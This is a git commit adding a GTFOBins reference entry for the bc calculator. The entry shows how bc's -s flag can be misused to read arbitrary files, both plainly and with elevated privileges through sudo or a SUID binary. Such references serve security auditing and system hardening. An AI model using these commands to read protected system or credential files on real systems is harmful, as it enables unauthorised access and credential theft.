Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
Shadawck
2022-12-16 16:02:30 +01:00
committed by GitHub
parent f6f4797356
commit e637c45b84

20
_gtfobins/bc.md Normal file
View File

@@ -0,0 +1,20 @@
---
description: The file content is actually parsed and appears as error messages, thus it might not be suitable to read arbitray binary files.
functions:
file-read:
- code: |
LFILE=file_to_read
bc -s $LFILE
quit
sudo:
- code: |
LFILE=file_to_read
sudo bc -s $LFILE
quit
suid:
- code: |
LFILE=file_to_read
./bc -s $LFILE
quit
---